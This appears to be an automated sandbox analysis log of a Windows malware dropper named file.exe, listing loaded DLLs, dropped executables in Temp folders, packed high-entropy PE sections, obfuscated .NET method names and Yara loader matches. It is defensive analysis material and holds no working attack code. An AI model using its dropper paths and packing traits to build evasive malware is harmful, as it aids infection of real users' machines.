Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3039744 > 1048576

Source: file.exe

Static PE information: Raw size of krmeesmj is bigger than: 0x100000 < 0x2ba600

Source:	Binary string: my_library.pdbU source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: my_library.pdb source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdbo source: InstallUtil.exe, 0000000B.00000002.2935186907.0000000000848000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000003.2063719617.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: protobuf-net.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n8C:\Windows\InstallUtil.pdbc source: InstallUtil.exe, 0000000B.00000002.2931654283.00000000004F7000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Unpacked PE file: 4.2.NSXWT8JG74T0IR99MSITIVFVWS7V.exe.cd0000.0.unpack :EW;.rsrc:W;.idata :W;kddeprza:EW;anjsayip:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Unpacked PE file: 5.2.VG65QSLZVUGSLKDE78EZSIIG.exe.e60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Unpacked PE file: 17.2.e90585a72a.exe.650000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wcmalsok:EW;lajdpeqi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wcmalsok:EW;lajdpeqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	Unpacked PE file: 34.2.UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;kddeprza:EW;anjsayip:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Unpacked PE file: 36.2.IPBFM5C40FWD77UPB7GOCE.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gwpiiybp:EW;tdmstcss:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs

.Net Code: Type.GetTypeFromHandle(cfW0J2GQEJ83yHlLbZf.k5tP7nukMm(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(cfW0J2GQEJ83yHlLbZf.k5tP7nukMm(16777252)),Type.GetTypeFromHandle(cfW0J2GQEJ83yHlLbZf.k5tP7nukMm(16777284))})

.NET source code contains potential unpacker

Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 9.2.innoinstaller.exe.5e80000.11.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 9.2.innoinstaller.exe.5530000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2492272266.0000000005530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: innoinstaller.exe PID: 5740, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2efe9a should be: 0x2eb942
Source: innoinstaller[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x1484ab
Source: e90585a72a.exe.8.dr	Static PE information: real checksum: 0x21b827 should be: 0x20be1a
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x1e3fa6 should be: 0x1d99a4
Source: innoinstaller.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x1484ab
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x21b827 should be: 0x20be1a
Source: file.exe	Static PE information: real checksum: 0x2efe9a should be: 0x2eb942
Source: 70bf1463df.exe.8.dr	Static PE information: real checksum: 0x2efe9a should be: 0x2eb942
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: real checksum: 0x2b66f6 should be: 0x2b7391
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: real checksum: 0x1e3fa6 should be: 0x1d99a4
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: krmeesmj
Source: file.exe	Static PE information: section name: ccqtiijz
Source: file.exe	Static PE information: section name: .taggant
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name:
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name: .idata
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name: kddeprza
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name: anjsayip
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name: .taggant
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name:
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: .idata
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name:
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: gwpiiybp
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: tdmstcss
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: gwpiiybp
Source: skotes.exe.5.dr	Static PE information: section name: tdmstcss
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: krmeesmj
Source: random[1].exe.8.dr	Static PE information: section name: ccqtiijz
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 70bf1463df.exe.8.dr	Static PE information: section name:
Source: 70bf1463df.exe.8.dr	Static PE information: section name: .idata
Source: 70bf1463df.exe.8.dr	Static PE information: section name: krmeesmj
Source: 70bf1463df.exe.8.dr	Static PE information: section name: ccqtiijz
Source: 70bf1463df.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: wcmalsok
Source: random[1].exe0.8.dr	Static PE information: section name: lajdpeqi
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: e90585a72a.exe.8.dr	Static PE information: section name:
Source: e90585a72a.exe.8.dr	Static PE information: section name: .rsrc
Source: e90585a72a.exe.8.dr	Static PE information: section name: .idata
Source: e90585a72a.exe.8.dr	Static PE information: section name:
Source: e90585a72a.exe.8.dr	Static PE information: section name: wcmalsok
Source: e90585a72a.exe.8.dr	Static PE information: section name: lajdpeqi
Source: e90585a72a.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A67F0C push edx; iretd	0_3_00A67F12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A65ED1 push esi; retf	0_3_00A65ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A64EDA push esp; iretd	0_3_00A64EEA

Source: file.exe	Static PE information: section name: entropy: 7.981868254343975
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr	Static PE information: section name: entropy: 7.773358165076546
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: entropy: 7.98320445936827
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr	Static PE information: section name: gwpiiybp entropy: 7.953540341680238
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.98320445936827
Source: skotes.exe.5.dr	Static PE information: section name: gwpiiybp entropy: 7.953540341680238
Source: innoinstaller[1].exe.8.dr	Static PE information: section name: .text entropy: 7.708988508924863
Source: innoinstaller.exe.8.dr	Static PE information: section name: .text entropy: 7.708988508924863
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.981868254343975
Source: 70bf1463df.exe.8.dr	Static PE information: section name: entropy: 7.981868254343975
Source: random[1].exe0.8.dr	Static PE information: section name: wcmalsok entropy: 7.954090328686937
Source: e90585a72a.exe.8.dr	Static PE information: section name: wcmalsok entropy: 7.954090328686937

Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'aAgiWrkKuSAyGyCF89d'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, cfW0J2GQEJ83yHlLbZf.cs	High entropy of concatenated method names: 'k5tP7nukMm', 'ErbPTky723', 'w0ecS5jIiZp9RGZPF1w', 'hy7XZvjr8nYsQLYZOOm', 'eAU15sj62qdP9odiLvp', 'CH0wlnjdJsqZWLLR2xT'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, GDNIACGsPZCXo8eS7HU.cs	High entropy of concatenated method names: 'WO6GSn2u1s', 'tRyGZ1JHIR', 'W4JGFUHux1', 'kP6GVkhGdn', 'HbxG8gxYNd', 'wVtG1itEJU', 'UpTGvPeoPX', 'KPjGxltDdg', 'xucG2mWGoA', 'jjkGwD3Ube'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, wNjgIHGzlm3qoHc9aTC.cs	High entropy of concatenated method names: 'Md1CbAqgtn', 'JLTCNNFUne', 'rlfC5jU2Wd', 'k4MCAChPKu', 'naVC3X2wju', 'tleCearIp6', 'pJjCUmNHbK', 'fNjoqx8M0y', 'zpaCfnNwaS', 'sdgCQsqRQi'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, Pm9eLOtOt5hjuqFklEr.cs	High entropy of concatenated method names: 'eXXHn4kZDPx4c21GRvU', 'wg7KZJkFhZJdRLjMKYN', 'zYvGGh2Lhd', 'qGYsjxkvJdgJ5wLtgiQ', 'WJKCVVkxRMXqNcFmu4d', 'x3kyNqk2A1PlZQUUSuL', 'LGRdiMkw1uxqZTMTuBq', 'Wyukt7kzODXxPFxru1n', 'LttX0ijm28vVHKTqfAh', 'H253lwjpDGUdk7BKPKr'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, NZZSFPYQcuciEMGwg1p.cs	High entropy of concatenated method names: 'XksYgED2uc', 'AZTYusKyX6', 'WPwYOwi3uS', 'aYMYsXWeW0', 'FvkYROJcfS', 'jKNpias7NJJytHHUZR8', 'yvDGqUsTquSGeAvQrkO', 'Lr6GccsCe0wSyBcoosk', 'YjZDQysLRet96xPuVP9', 'O5fmF6sIjhf16ZiwdWg'
Source: 9.2.innoinstaller.exe.39449d0.6.raw.unpack, B2nHmqtTsx3u1WUddO2.cs	High entropy of concatenated method names: 'l5OtLYDnQ7', 'zYktIDmy5q', 'AZAIV9hh8KJRQPPpxBN', 'gqBvA5hkgorS0spXMFK', 'yOGiOohjPFdAdhPL1LT', 'hPxUqOhXH8WDW9yriKc', 'aHpqLEhWpVm2DXdPOWT', 'XaTv9QhBVswtu1GZxmr', 'CJ9JCnhcE5EBWuD5Y8k', 'NrVdjXhPLkirjwP53kE'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File created: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Jump to dropped file
